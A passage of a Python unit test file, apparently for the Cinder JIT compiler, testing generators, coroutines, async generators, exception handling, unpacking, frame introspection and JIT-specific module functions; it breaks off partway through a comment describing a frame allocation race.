as the max spill size of this # function is greater than jit::kMinGenSpillWords. Ideally we'd assert # that in the test, but neither value is introspectable from Python. return dict( a=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), b=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), c=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), d=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), e=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), f=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), g=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), h=dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=9), ) @unittest.failUnlessJITCompiled async def small_coro(self): return 1 def test_generator_globals(self): val1 = "a value" val2 = "another value" gbls = {"A_GLOBAL": val1} @with_globals(gbls) def gen(): yield A_GLOBAL yield A_GLOBAL g = gen() self.assertIs(g.__next__(), val1) gbls["A_GLOBAL"] = val2 del gbls self.assertIs(g.__next__(), val2) with self.assertRaises(StopIteration): g.__next__() class GeneratorFrameTest(unittest.TestCase): @unittest.failUnlessJITCompiled def gen1(self): a = 1 yield a a = 2 yield a def test_access_before_send(self): g = self.gen1() f = g.gi_frame self.assertEqual(next(g), 1) self.assertEqual(g.gi_frame, f) self.assertEqual(next(g), 2) self.assertEqual(g.gi_frame, f) def test_access_after_send(self): g = self.gen1() self.assertEqual(next(g), 1) f = g.gi_frame self.assertEqual(next(g), 2) self.assertEqual(g.gi_frame, f) @unittest.failUnlessJITCompiled def gen2(self): me = yield f = me.gi_frame yield f yield 10 def test_access_while_running(self): g = self.gen2() next(g) f = g.send(g) self.assertEqual(f, g.gi_frame) next(g) class CoroutinesTest(unittest.TestCase): @unittest.failUnlessJITCompiled async def _f1(self): return 1 @unittest.failUnlessJITCompiled async def _f2(self, await_target): return await await_target def test_basic_coroutine(self): c = self._f2(self._f1()) with self.assertRaises(StopIteration) as exc: c.send(None) self.assertEqual(exc.exception.value, 1) def test_cannot_await_coro_already_awaiting_on_a_sub_iterator(self): class DummyAwaitable: def __await__(self): return iter([1]) c = self._f2(DummyAwaitable()) self.assertEqual(c.send(None), 1) with self.assertRaises(RuntimeError) as exc: self._f2(c).send(None) self.assertEqual(str(exc.exception), "coroutine is being awaited already") def test_works_with_asyncio(self): try: asyncio.run(self._f2(asyncio.sleep(0.1))) finally: # This is needed to avoid an "environment changed" error asyncio.set_event_loop_policy(None) @unittest.failUnlessJITCompiled @asyncio.coroutine def _f3(self): yield 1 return 2 def test_pre_async_coroutine(self): c = self._f3() self.assertEqual(c.send(None), 1) with self.assertRaises(StopIteration) as exc: c.send(None) self.assertEqual(exc.exception.value, 2) @staticmethod @unittest.failUnlessJITCompiled async def _use_async_with(mgr_type): async with mgr_type(): pass def test_bad_awaitable_in_with(self): class BadAEnter: def __aenter__(self): pass async def __aexit__(self, exc, ty, tb): pass class BadAExit: async def __aenter__(self): pass def __aexit__(self, exc, ty, tb): pass with self.assertRaisesRegex( TypeError, "'async with' received an object from __aenter__ " "that does not implement __await__: NoneType", ): asyncio.run(self._use_async_with(BadAEnter)) with self.assertRaisesRegex( TypeError, "'async with' received an object from __aexit__ " "that does not implement __await__: NoneType", ): asyncio.run(self._use_async_with(BadAExit)) class FakeFuture: def __init__(self, obj): self._obj = obj def __await__(self): i = iter([self._obj]) self._obj = None return i @unittest.skipUnlessCinderJITEnabled("Exercises JIT-specific bug") def test_jit_coro_awaits_interp_coro(self): @cinderjit.jit_suppress async def eager_suspend(suffix): await self.FakeFuture("hello, " + suffix) @unittest.failUnlessJITCompiled async def jit_coro(): await eager_suspend("bob") coro = jit_coro() v1 = coro.send(None) with self.assertRaises(StopIteration): coro.send(None) self.assertEqual(v1, "hello, bob") def assert_already_awaited(self, coro): with self.assertRaisesRegex(RuntimeError, "coroutine is being awaited already"): asyncio.run(coro) def test_already_awaited_coroutine_in_try_except(self): """Except blocks should execute when a coroutine is already awaited""" async def f(): await asyncio.sleep(0.1) executed_except_block = False async def runner(): nonlocal executed_except_block coro = f() loop = asyncio.get_running_loop() t = loop.create_task(coro) try: await asyncio.sleep(0) await coro except RuntimeError: executed_except_block = True t.cancel() raise self.assert_already_awaited(runner()) self.assertTrue(executed_except_block) def test_already_awaited_coroutine_in_try_finally(self): """Finally blocks should execute when a coroutine is already awaited""" async def f(): await asyncio.sleep(0.1) executed_finally_block = False async def runner(): nonlocal executed_finally_block coro = f() loop = asyncio.get_running_loop() t = loop.create_task(coro) try: await asyncio.sleep(0) await coro finally: executed_finally_block = True t.cancel() self.assert_already_awaited(runner()) self.assertTrue(executed_finally_block) def test_already_awaited_coroutine_in_try_except_finally(self): """Except and finally blocks should execute when a coroutine is already awaited. """ async def f(): await asyncio.sleep(0.1) executed_except_block = False executed_finally_block = False async def runner(): nonlocal executed_except_block, executed_finally_block coro = f() loop = asyncio.get_running_loop() t = loop.create_task(coro) try: await asyncio.sleep(0) await coro except RuntimeError: executed_except_block = True raise finally: executed_finally_block = True t.cancel() self.assert_already_awaited(runner()) self.assertTrue(executed_except_block) self.assertTrue(executed_finally_block) class EagerCoroutineDispatch(StaticTestBase): def _assert_awaited_flag_seen(self, async_f_under_test): awaited_capturer = _testcapi.TestAwaitedCall() self.assertIsNone(awaited_capturer.last_awaited()) coro = async_f_under_test(awaited_capturer) # TestAwaitedCall doesn't actually return a coroutine. This doesn't # matter though because by the time a TypeError is raised we run far # enough to know if the awaited flag was passed. with self.assertRaisesRegex( TypeError, r".*can't be used in 'await' expression" ): coro.send(None) coro.close() self.assertTrue(awaited_capturer.last_awaited()) self.assertIsNone(awaited_capturer.last_awaited()) def _assert_awaited_flag_not_seen(self, async_f_under_test): awaited_capturer = _testcapi.TestAwaitedCall() self.assertIsNone(awaited_capturer.last_awaited()) coro = async_f_under_test(awaited_capturer) with self.assertRaises(StopIteration): coro.send(None) coro.close() self.assertFalse(awaited_capturer.last_awaited()) self.assertIsNone(awaited_capturer.last_awaited()) @unittest.failUnlessJITCompiled async def _call_ex(self, t): t(*[1]) @unittest.failUnlessJITCompiled async def _call_ex_awaited(self, t): await t(*[1]) @unittest.failUnlessJITCompiled async def _call_ex_kw(self, t): t(*[1], **{2: 3}) @unittest.failUnlessJITCompiled async def _call_ex_kw_awaited(self, t): await t(*[1], **{2: 3}) @unittest.failUnlessJITCompiled async def _call_method(self, t): # https://stackoverflow.com/questions/19476816/creating-an-empty-object-in-python o = type("", (), {})() o.t = t o.t() @unittest.failUnlessJITCompiled async def _call_method_awaited(self, t): o = type("", (), {})() o.t = t await o.t() @unittest.failUnlessJITCompiled async def _vector_call(self, t): t() @unittest.failUnlessJITCompiled async def _vector_call_awaited(self, t): await t() @unittest.failUnlessJITCompiled async def _vector_call_kw(self, t): t(a=1) @unittest.failUnlessJITCompiled async def _vector_call_kw_awaited(self, t): await t(a=1) def test_call_ex(self): self._assert_awaited_flag_not_seen(self._call_ex) def test_call_ex_awaited(self): self._assert_awaited_flag_seen(self._call_ex_awaited) def test_call_ex_kw(self): self._assert_awaited_flag_not_seen(self._call_ex_kw) def test_call_ex_kw_awaited(self): self._assert_awaited_flag_seen(self._call_ex_kw_awaited) def test_call_method(self): self._assert_awaited_flag_not_seen(self._call_method) def test_call_method_awaited(self): self._assert_awaited_flag_seen(self._call_method_awaited) def test_vector_call(self): self._assert_awaited_flag_not_seen(self._vector_call) def test_vector_call_awaited(self): self._assert_awaited_flag_seen(self._vector_call_awaited) def test_vector_call_kw(self): self._assert_awaited_flag_not_seen(self._vector_call_kw) def test_vector_call_kw_awaited(self): self._assert_awaited_flag_seen(self._vector_call_kw_awaited) def test_invoke_function(self): codestr = f""" async def x() -> None: pass async def await_x() -> None: await x() async def call_x() -> None: c = x() """ c = self.compile(codestr, StaticCodeGenerator, modname="test_invoke_function") await_x = self.find_code(c, "await_x") self.assertInBytecode( await_x, "INVOKE_FUNCTION", (("test_invoke_function", "x"), 0) ) call_x = self.find_code(c, "call_x") self.assertInBytecode( call_x, "INVOKE_FUNCTION", (("test_invoke_function", "x"), 0) ) with self.in_module(codestr) as mod: mod.x = _testcapi.TestAwaitedCall() self.assertIsInstance(mod.x, _testcapi.TestAwaitedCall) self.assertIsNone(mod.x.last_awaited()) coro = mod.await_x() with self.assertRaisesRegex( TypeError, r".*can't be used in 'await' expression" ): coro.send(None) coro.close() self.assertTrue(mod.x.last_awaited()) self.assertIsNone(mod.x.last_awaited()) coro = mod.call_x() with self.assertRaises(StopIteration): coro.send(None) coro.close() self.assertFalse(mod.x.last_awaited()) if cinderjit: self.assertTrue(cinderjit.is_jit_compiled(mod.await_x)) self.assertTrue(cinderjit.is_jit_compiled(mod.call_x)) def test_invoke_method(self): codestr = f""" class X: async def x(self) -> None: pass async def await_x(x: X) -> None: await x.x() async def call_x(x: X) -> None: x.x() """ c = self.compile(codestr, StaticCodeGenerator, modname="test_invoke_method") await_x = self.find_code(c, "await_x") self.assertInBytecode( await_x, "INVOKE_METHOD", (("test_invoke_method", "X", "x"), 0) ) call_x = self.find_code(c, "call_x") self.assertInBytecode( call_x, "INVOKE_METHOD", (("test_invoke_method", "X", "x"), 0) ) with self.in_module(codestr) as mod: awaited_capturer = mod.X.x = _testcapi.TestAwaitedCall() self.assertIsNone(awaited_capturer.last_awaited()) coro = mod.await_x(mod.X()) with self.assertRaisesRegex( TypeError, r".*can't be used in 'await' expression" ): coro.send(None) coro.close() self.assertTrue(awaited_capturer.last_awaited()) self.assertIsNone(awaited_capturer.last_awaited()) coro = mod.call_x(mod.X()) with self.assertRaises(StopIteration): coro.send(None) coro.close() self.assertFalse(awaited_capturer.last_awaited()) if cinderjit: self.assertTrue(cinderjit.is_jit_compiled(mod.await_x)) self.assertTrue(cinderjit.is_jit_compiled(mod.call_x)) async def y(): await DummyAwaitable() def test_async_yielding(self): class DummyAwaitable: def __await__(self): return iter([1, 2]) coro = self._vector_call_awaited(DummyAwaitable) self.assertEqual(coro.send(None), 1) self.assertEqual(coro.send(None), 2) class AsyncGeneratorsTest(unittest.TestCase): @unittest.failUnlessJITCompiled async def _f1(self, awaitable): x = yield 1 yield x await awaitable def test_basic_coroutine(self): class DummyAwaitable: def __await__(self): return iter([3]) async_gen = self._f1(DummyAwaitable()) # Step 1: move through "yield 1" async_itt1 = async_gen.asend(None) with self.assertRaises(StopIteration) as exc: async_itt1.send(None) self.assertEqual(exc.exception.value, 1) # Step 2: send in and receive out 2 via "yield x" async_itt2 = async_gen.asend(2) with self.assertRaises(StopIteration) as exc: async_itt2.send(None) self.assertEqual(exc.exception.value, 2) # Step 3: yield of "3" from DummyAwaitable async_itt3 = async_gen.asend(None) self.assertEqual(async_itt3.send(None), 3) # Step 4: complete with self.assertRaises(StopAsyncIteration): async_itt3.send(None) @unittest.failUnlessJITCompiled async def _f2(self, asyncgen): res = [] async for x in asyncgen: res.append(x) return res def test_for_iteration(self): async def asyncgen(): yield 1 yield 2 self.assertEqual(asyncio.run(self._f2(asyncgen())), [1, 2]) def _assertExceptionFlowsThroughYieldFrom(self, exc): tb_prev = None tb = exc.__traceback__ while tb.tb_next: tb_prev = tb tb = tb.tb_next instrs = [x for x in dis.get_instructions(tb_prev.tb_frame.f_code)] self.assertEqual(instrs[tb_prev.tb_lasti // 2].opname, "YIELD_FROM") def test_for_exception(self): async def asyncgen(): yield 1 raise ValueError # Can't use self.assertRaises() as this clears exception tracebacks try: asyncio.run(self._f2(asyncgen())) except ValueError as e: self._assertExceptionFlowsThroughYieldFrom(e) else: self.fail("Expected ValueError to be raised") @unittest.failUnlessJITCompiled async def _f3(self, asyncgen): return [x async for x in asyncgen] def test_comprehension(self): async def asyncgen(): yield 1 yield 2 self.assertEqual(asyncio.run(self._f3(asyncgen())), [1, 2]) def test_comprehension_exception(self): async def asyncgen(): yield 1 raise ValueError # Can't use self.assertRaises() as this clears exception tracebacks try: asyncio.run(self._f3(asyncgen())) except ValueError as e: self._assertExceptionFlowsThroughYieldFrom(e) else: self.fail("Expected ValueError to be raised") class Err1(Exception): pass class Err2(Exception): pass class ExceptionHandlingTests(unittest.TestCase): @unittest.failUnlessJITCompiled def try_except(self, func): try: func() except: return True return False def test_raise_and_catch(self): def f(): raise Exception("hello") self.assertTrue(self.try_except(f)) def g(): pass self.assertFalse(self.try_except(g)) @unittest.failUnlessJITCompiled def catch_multiple(self, func): try: func() except Err1: return 1 except Err2: return 2 def test_multiple_except_blocks(self): def f(): raise Err1("err1") self.assertEqual(self.catch_multiple(f), 1) def g(): raise Err2("err2") self.assertEqual(self.catch_multiple(g), 2) @unittest.failUnlessJITCompiled def reraise(self, func): try: func() except: raise def test_reraise(self): def f(): raise Exception("hello") with self.assertRaisesRegex(Exception, "hello"): self.reraise(f) @unittest.failUnlessJITCompiled def try_except_in_loop(self, niters, f): for i in range(niters): try: try: f(i) except Err2: pass except Err1: break return i def test_try_except_in_loop(self): def f(i): if i == 10: raise Err1("hello") self.assertEqual(self.try_except_in_loop(20, f), 10) @unittest.failUnlessJITCompiled def nested_try_except(self, f): try: try: try: f() except: raise except: raise except: return 100 def test_nested_try_except(self): def f(): raise Exception("hello") self.assertEqual(self.nested_try_except(f), 100) @unittest.failUnlessJITCompiled def try_except_in_generator(self, f): try: yield f(0) yield f(1) yield f(2) except: yield 123 def test_except_in_generator(self): def f(i): if i == 1: raise Exception("hello") return g = self.try_except_in_generator(f) next(g) self.assertEqual(next(g), 123) @unittest.failUnlessJITCompiled def try_finally(self, should_raise): result = None try: if should_raise: raise Exception("testing 123") finally: result = 100 return result def test_try_finally(self): self.assertEqual(self.try_finally(False), 100) with self.assertRaisesRegex(Exception, "testing 123"): self.try_finally(True) @unittest.failUnlessJITCompiled def try_except_finally(self, should_raise): result = None try: if should_raise: raise Exception("testing 123") except Exception: result = 200 finally: if result is None: result = 100 return result def test_try_except_finally(self): self.assertEqual(self.try_except_finally(False), 100) self.assertEqual(self.try_except_finally(True), 200) @unittest.failUnlessJITCompiled def return_in_finally(self, v): try: pass finally: return v @unittest.failUnlessJITCompiled def return_in_finally2(self, v): try: return v finally: return 100 @unittest.failUnlessJITCompiled def return_in_finally3(self, v): try: 1 / 0 finally: return v @unittest.failUnlessJITCompiled def return_in_finally4(self, v): try: return 100 finally: try: 1 / 0 finally: return v def test_return_in_finally(self): self.assertEqual(self.return_in_finally(100), 100) self.assertEqual(self.return_in_finally2(200), 100) self.assertEqual(self.return_in_finally3(300), 300) self.assertEqual(self.return_in_finally4(400), 400) @unittest.failUnlessJITCompiled def break_in_finally_after_return(self, x): for count in [0, 1]: count2 = 0 while count2 < 20: count2 += 10 try: return count + count2 finally: if x: break return "end", count, count2 @unittest.failUnlessJITCompiled def break_in_finally_after_return2(self, x): for count in [0, 1]: for count2 in [10, 20]: try: return count + count2 finally: if x: break return "end", count, count2 def test_break_in_finally_after_return(self): self.assertEqual(self.break_in_finally_after_return(False), 10) self.assertEqual(self.break_in_finally_after_return(True), ("end", 1, 10)) self.assertEqual(self.break_in_finally_after_return2(False), 10) self.assertEqual(self.break_in_finally_after_return2(True), ("end", 1, 10)) @unittest.failUnlessJITCompiled def continue_in_finally_after_return(self, x): count = 0 while count < 100: count += 1 try: return count finally: if x: continue return "end", count @unittest.failUnlessJITCompiled def continue_in_finally_after_return2(self, x): for count in [0, 1]: try: return count finally: if x: continue return "end", count def test_continue_in_finally_after_return(self): self.assertEqual(self.continue_in_finally_after_return(False), 1) self.assertEqual(self.continue_in_finally_after_return(True), ("end", 100)) self.assertEqual(self.continue_in_finally_after_return2(False), 0) self.assertEqual(self.continue_in_finally_after_return2(True), ("end", 1)) @unittest.failUnlessJITCompiled def return_in_loop_in_finally(self, x): try: for _ in [1, 2, 3]: if x: return x finally: pass return 100 def test_return_in_loop_in_finally(self): self.assertEqual(self.return_in_loop_in_finally(True), True) self.assertEqual(self.return_in_loop_in_finally(False), 100) @unittest.failUnlessJITCompiled def conditional_return_in_finally(self, x, y, z): try: if x: return x if y: return y finally: pass return z def test_conditional_return_in_finally(self): self.assertEqual(self.conditional_return_in_finally(100, False, False), 100) self.assertEqual(self.conditional_return_in_finally(False, 200, False), 200) self.assertEqual(self.conditional_return_in_finally(False, False, 300), 300) @unittest.failUnlessJITCompiled def nested_finally(self, x): try: if x: return x finally: try: y = 10 finally: z = y return z def test_nested_finally(self): self.assertEqual(self.nested_finally(100), 100) self.assertEqual(self.nested_finally(False), 10) class UnpackSequenceTests(unittest.TestCase): @unittest.failUnlessJITCompiled def _unpack_arg(self, seq, which): a, b, c, d = seq if which == "a": return a if which == "b": return b if which == "c": return c return d @unittest.failUnlessJITCompiled def _unpack_ex_arg(self, seq, which): a, b, *c, d = seq if which == "a": return a if which == "b": return b if which == "c": return c return d def test_unpack_tuple(self): self.assertEqual(self._unpack_arg(("eh", "bee", "see", "dee"), "b"), "bee") self.assertEqual(self._unpack_arg((3, 2, 1, 0), "c"), 1) @unittest.skipUnderCinderJITNotFullFrame("deopt not supported in no-frame mode") def test_unpack_tuple_wrong_size(self): with self.assertRaises(ValueError): self._unpack_arg((1, 2, 3, 4, 5), "a") @unittest.skipUnderCinderJITNotFullFrame("deopt not supported in no-frame mode") def test_unpack_list(self): self.assertEqual(self._unpack_arg(["one", "two", "three", "four"], "a"), "one") @unittest.skipUnderCinderJITNotFullFrame("deopt not supported in no-frame mode") def test_unpack_gen(self): def gen(): yield "first" yield "second" yield "third" yield "fourth" self.assertEqual(self._unpack_arg(gen(), "d"), "fourth") @unittest.failUnlessJITCompiled def _unpack_not_iterable(self): (a, b, *c) = 1 @unittest.failUnlessJITCompiled def _unpack_insufficient_values(self): (a, b, *c) = [1] @unittest.failUnlessJITCompiled def _unpack_insufficient_values_after(self): (a, *b, c, d) = [1, 2] @unittest.skipUnderCinderJITNotFullFrame("deopt not supported in no-frame mode") def test_unpack_ex(self): with self.assertRaises(TypeError): self._unpack_not_iterable() with self.assertRaises(ValueError): self._unpack_insufficient_values() with self.assertRaises(ValueError): self._unpack_insufficient_values_after() seq = [1, 2, 3, 4, 5, 6] self.assertEqual(self._unpack_ex_arg(seq, "a"), 1) self.assertEqual(self._unpack_ex_arg(seq, "b"), 2) self.assertEqual(self._unpack_ex_arg(seq, "c"), [3, 4, 5]) self.assertEqual(self._unpack_ex_arg(seq, "d"), 6) class DeleteSubscrTests(unittest.TestCase): @unittest.failUnlessJITCompiled def _delit(self, container, key): del container[key] def test_builtin_types(self): l = [1, 2, 3] self._delit(l, 1) self.assertEqual(l, [1, 3]) d = {"foo": 1, "bar": 2} self._delit(d, "foo") self.assertEqual(d, {"bar": 2}) def test_custom_type(self): class CustomContainer: def __init__(self): self.item = None def __delitem__(self, item): self.item = item c = CustomContainer() self._delit(c, "foo") self.assertEqual(c.item, "foo") def test_missing_key(self): d = {"foo": 1} with self.assertRaises(KeyError): self._delit(d, "bar") def test_custom_error(self): class CustomContainer: def __delitem__(self, item): raise Exception("testing 123") c = CustomContainer() with self.assertRaisesRegex(Exception, "testing 123"): self._delit(c, "foo") class DeleteFastTests(unittest.TestCase): @unittest.failUnlessJITCompiled def _del(self): x = 2 del x @unittest.failUnlessJITCompiled def _del_arg(self, a): del a @unittest.failUnlessJITCompiled def _del_and_raise(self): x = 2 del x return x @unittest.failUnlessJITCompiled def _del_arg_and_raise(self, a): del a return a @unittest.failUnlessJITCompiled def _del_ex_no_raise(self): try: return min(1, 2) except Exception as e: pass @unittest.failUnlessJITCompiled def _del_ex_raise(self): try: raise Exception() except Exception as e: pass return e def test_del_local(self): self.assertEqual(self._del(), None) def test_del_arg(self): self.assertEqual(self._del_arg(42), None) def test_del_and_raise(self): with self.assertRaises(NameError): self._del_and_raise() def test_del_arg_and_raise(self): with self.assertRaises(NameError): self.assertEqual(self._del_arg_and_raise(42), None) def test_del_ex_no_raise(self): self.assertEqual(self._del_ex_no_raise(), 1) def test_del_ex_raise(self): with self.assertRaises(NameError): self.assertEqual(self._del_ex_raise(), 42) class KeywordOnlyArgTests(unittest.TestCase): @unittest.failUnlessJITCompiled def f1(self, *, val=10): return val @unittest.failUnlessJITCompiled def f2(self, which, *, y=10, z=20): if which == 0: return y elif which == 1: return z return which @unittest.failUnlessJITCompiled def f3(self, which, *, y, z=20): if which == 0: return y elif which == 1: return z return which @unittest.failUnlessJITCompiled def f4(self, which, *, y, z=20, **kwargs): if which == 0: return y elif which == 1: return z elif which == 2: return kwargs return which def test_kwonly_arg_passed_as_positional(self): msg = "takes 1 positional argument but 2 were given" with self.assertRaisesRegex(TypeError, msg): self.f1(100) msg = "takes 2 positional arguments but 3 were given" with self.assertRaisesRegex(TypeError, msg): self.f3(0, 1) def test_kwonly_args_with_kwdefaults(self): self.assertEqual(self.f1(), 10) self.assertEqual(self.f1(val=20), 20) self.assertEqual(self.f2(0), 10) self.assertEqual(self.f2(0, y=20), 20) self.assertEqual(self.f2(1), 20) self.assertEqual(self.f2(1, z=30), 30) def test_kwonly_args_without_kwdefaults(self): self.assertEqual(self.f3(0, y=10), 10) self.assertEqual(self.f3(1, y=10), 20) self.assertEqual(self.f3(1, y=10, z=30), 30) def test_kwonly_args_and_varkwargs(self): self.assertEqual(self.f4(0, y=10), 10) self.assertEqual(self.f4(1, y=10), 20) self.assertEqual(self.f4(1, y=10, z=30, a=40), 30) self.assertEqual(self.f4(2, y=10, z=30, a=40, b=50), {"a": 40, "b": 50}) class ClassA: z = 100 x = 41 def g(self, a): return 42 + a @classmethod def cls_g(cls, a): return 100 + a class ClassB(ClassA): def f(self, a): return super().g(a=a) def f_2arg(self, a): return super(ClassB, self).g(a=a) @classmethod def cls_f(cls, a): return super().cls_g(a=a) @classmethod def cls_f_2arg(cls, a): return super(ClassB, cls).cls_g(a=a) @property def x(self): return super().x + 1 @property def x_2arg(self): return super(ClassB, self).x + 1 class SuperAccessTest(unittest.TestCase): @unittest.failUnlessJITCompiled def test_super_method(self): self.assertEqual(ClassB().f(1), 43) self.assertEqual(ClassB().f_2arg(1), 43) self.assertEqual(ClassB.cls_f(99), 199) self.assertEqual(ClassB.cls_f_2arg(99), 199) @unittest.failUnlessJITCompiled def test_super_method_kwarg(self): self.assertEqual(ClassB().f(1), 43) self.assertEqual(ClassB().f_2arg(1), 43) self.assertEqual(ClassB.cls_f(1), 101) self.assertEqual(ClassB.cls_f_2arg(1), 101) @unittest.failUnlessJITCompiled def test_super_attr(self): self.assertEqual(ClassB().x, 42) self.assertEqual(ClassB().x_2arg, 42) class RegressionTests(StaticTestBase): # Detects an issue in the backend where the Store instruction generated 32- # bit memory writes for 64-bit constants. def test_store_of_64bit_immediates(self): codestr = f""" from __static__ import int64, box class Cint64: def __init__(self): self.a: int64 = 0x5555555555555555 def testfunc(): c = Cint64() c.a = 2 return box(c.a) == 2 """ with self.in_module(codestr) as mod: testfunc = mod.testfunc self.assertTrue(testfunc()) if cinderjit: self.assertTrue(cinderjit.is_jit_compiled(testfunc)) @unittest.skipUnlessCinderJITEnabled("Requires cinderjit module") class CinderJitModuleTests(StaticTestBase): def test_bad_disable(self): with self.assertRaises(TypeError): cinderjit.disable(1, 2) with self.assertRaises(TypeError): cinderjit.disable(None) def test_jit_force_normal_frame_changes_flags(self): def x(): pass self.assertEqual(x.__code__.co_flags & CO_NORMAL_FRAME, 0) forced_x = cinderjit.jit_force_normal_frame(x) self.assertEqual(x.__code__.co_flags & CO_NORMAL_FRAME, CO_NORMAL_FRAME) def test_jit_force_normal_frame_raises_on_invalid_arg(self): with self.assertRaises(TypeError): cinderjit.jit_force_normal_frame(None) def test_jit_suppress(self): @cinderjit.jit_suppress def x(): pass self.assertEqual(x.__code__.co_flags & CO_SUPPRESS_JIT, CO_SUPPRESS_JIT) def test_jit_suppress_static(self): codestr = f""" import cinderjit @cinderjit.jit_suppress def f(): return True def g(): return True """ with self.in_module(codestr) as mod: f = mod.f g = mod.g self.assertTrue(f()) self.assertTrue(g()) self.assertFalse(cinderjit.is_jit_compiled(f)) self.assertTrue(cinderjit.is_jit_compiled(g)) @unittest.skipIf( not cinderjit or not cinderjit.is_hir_inliner_enabled(), "meaningless without HIR inliner enabled", ) def test_num_inlined_functions(self): codestr = f""" import cinderjit @cinderjit.jit_suppress def f(): return True def g(): return f() """ with self.in_module(codestr) as mod: f = mod.f g = mod.g self.assertTrue(g()) self.assertFalse(cinderjit.is_jit_compiled(f)) self.assertTrue(cinderjit.is_jit_compiled(g)) self.assertEqual(cinderjit.get_num_inlined_functions(g), 1) @jit_suppress def _inner(*args, **kwargs): return kwargs @unittest.failUnlessJITCompiled def _outer(args, kwargs): return _inner(*args, **kwargs) class GetFrameInFinalizer: def __del__(self): sys._getframe() def _create_getframe_cycle(): a = {"fg": GetFrameInFinalizer()} b = {"a": a} a["b"] = b return a class TestException(Exception): pass class GetFrameTests(unittest.TestCase): @unittest.failUnlessJITCompiled def f1(self, leaf): return self.f2(leaf) @unittest.failUnlessJITCompiled def f2(self, leaf): return self.f3(leaf) @unittest.failUnlessJITCompiled def f3(self, leaf): return leaf() def assert_frames(self, frame, names): for name in names: self.assertEqual(frame.f_code.co_name, name) frame = frame.f_back @unittest.failUnlessJITCompiled def simple_getframe(self): return sys._getframe() def test_simple_getframe(self): stack = ["simple_getframe", "f3", "f2", "f1", "test_simple_getframe"] frame = self.f1(self.simple_getframe) self.assert_frames(frame, stack) @unittest.failUnlessJITCompiled def consecutive_getframe(self): f1 = sys._getframe() f2 = sys._getframe() return f1, f2 def test_consecutive_getframe(self): stack = ["consecutive_getframe", "f3", "f2", "f1", "test_consecutive_getframe"] frame1, frame2 = self.f1(self.consecutive_getframe) self.assert_frames(frame1, stack) # Make sure the second call to sys._getframe doesn't rematerialize # frames for _ in range(4): self.assertTrue(frame1 is frame2) frame1 = frame1.f_back frame2 = frame2.f_back @unittest.failUnlessJITCompiled def getframe_then_deopt(self): f = sys._getframe() try: raise Exception("testing 123") except: return f def test_getframe_then_deopt(self): # Make sure we correctly unlink a materialized frame after its function # deopts into the interpreter stack = ["getframe_then_deopt", "f3", "f2", "f1", "test_getframe_then_deopt"] frame = self.f1(self.getframe_then_deopt) self.assert_frames(frame, stack) @unittest.failUnlessJITCompiled def getframe_in_except(self): try: raise Exception("testing 123") except: return sys._getframe() def test_getframe_after_deopt(self): stack = ["getframe_in_except", "f3", "f2", "f1", "test_getframe_after_deopt"] frame = self.f1(self.getframe_in_except) self.assert_frames(frame, stack) class FrameGetter: def __init__(self, box): self.box = box def __del__(self): self.box[0] = sys._getframe() def do_raise(self, x): # Clear reference held by frame in the traceback that gets created with # the exception del x raise Exception("testing 123") @unittest.failUnlessJITCompiled def getframe_in_dtor_during_deopt(self): ref = ["notaframe"] try: self.do_raise(self.FrameGetter(ref)) except: return ref[0] def test_getframe_in_dtor_during_deopt(self): # Test that we can correctly walk the stack in the middle of deopting frame = self.f1(self.getframe_in_dtor_during_deopt) stack = [ "__del__", "getframe_in_dtor_during_deopt", "f3", "f2", "f1", "test_getframe_in_dtor_during_deopt", ] self.assert_frames(frame, stack) @unittest.failUnlessJITCompiled def getframe_in_dtor_after_deopt(self): ref = ["notaframe"] frame_getter = self.FrameGetter(ref) try: raise Exception("testing 123") except: return ref def test_getframe_in_dtor_after_deopt(self): # Test that we can correctly walk the stack in the interpreter after # deopting but before returning to the caller frame = self.f1(self.getframe_in_dtor_after_deopt)[0] stack = ["__del__", "f3", "f2", "f1", "test_getframe_in_dtor_after_deopt"] self.assert_frames(frame, stack) @jit_suppress def test_frame_allocation_race(self): # This test exercises a race condition that can occur in the # interpreted function prologue between when its frame is # allocated and when its set as `tstate->frame`. # # When a frame is allocated its f_back field is set to point to # tstate->frame. Shortly thereafter, tstate->frame is set to the # newly allocated frame by the interpreter loop. There is an implicit # assumption that tstate->frame will not change between when the # frame is allocated and when it is set to tstate->frame. That # assumption is invalid when the JIT is executing in shadow-frame mode. # # tstate->frame may change if the Python stack is materialized between # when the new frame is allocated and when its set as # tstate->frame. The window of time is very small, but it's # possible. We must ensure that if tstate->frame changes, the newly # allocated frame's f_back is updated to point to it. Otherwise, we can # end up with a missing frame on the Python stack. To see why, consider # the following scenario. # # Terms: # # - shadow stack - The call stack of _PyShadowFrame objects beginning # at tstate->shadow_frame. # - pyframe stack - The call stack of PyFrameObject objects beginning # at tstate->frame. # # T0: # # At time T0, the stacks look like: # # Shadow Stack PyFrame Stack # ------------ ------------ # f0 f0 # f1 # # - f0 is interpreted and has called f2. # - f1 is jit-compiled and is running in shadow-frame mode. The stack # hasn't been materialized, so there is no entry for f1 on the # PyFrame stack. # # T1: # # At time T1, f1 calls f2. f2 is interpreted and has a variable keyword # parameter (**kwargs). The call to f2 enters PyEval_EvalCodeWithName. # PyEval_EvalCodeWithName allocates a new PyFrameObject, p, to run # f2. At this point the stacks still look the same, however, notice # that p->f_back points to f0, not f1. # # Shadow Stack PyFrame Stack # ------------ ------------ # f0 f0 <--- p->f_back points to f1 # f1 # # T2: # # At time T2, PyEval_EvalCodeWithName has allocated the PyFrameObject, # p, for f2, and allocates a new dictionary for the variable keyword # parameter. The dictionary allocation triggers GC. During GC an object # is collected with a finalizer that materializes the stack. The most # common way for this to happen is through an unawaited coroutine. The # coroutine's finalizer will call _PyErr_WarnUnawaitedCoroutine which # materializes the stack. # # Notice that the stacks match after materialization, however, # p->f_back still points to f0. # # Shadow Stack PyFrame Stack # ------------ ------------ # f0 f0 <--- p->f_back points to f0 # f1 f1 # # T3: # # At time T3, control has transferred from PyEval_EvalCodeWithName # to the interpreter loop. The interpreter loop has set tstate->frame # to the frame it was passed, p. Now the stacks are mismatched: # # Shadow Stack PyFrame Stack # ------------ ------------ # f0 f0 # f1 f2 # f2 # # T4: # # At time T4, 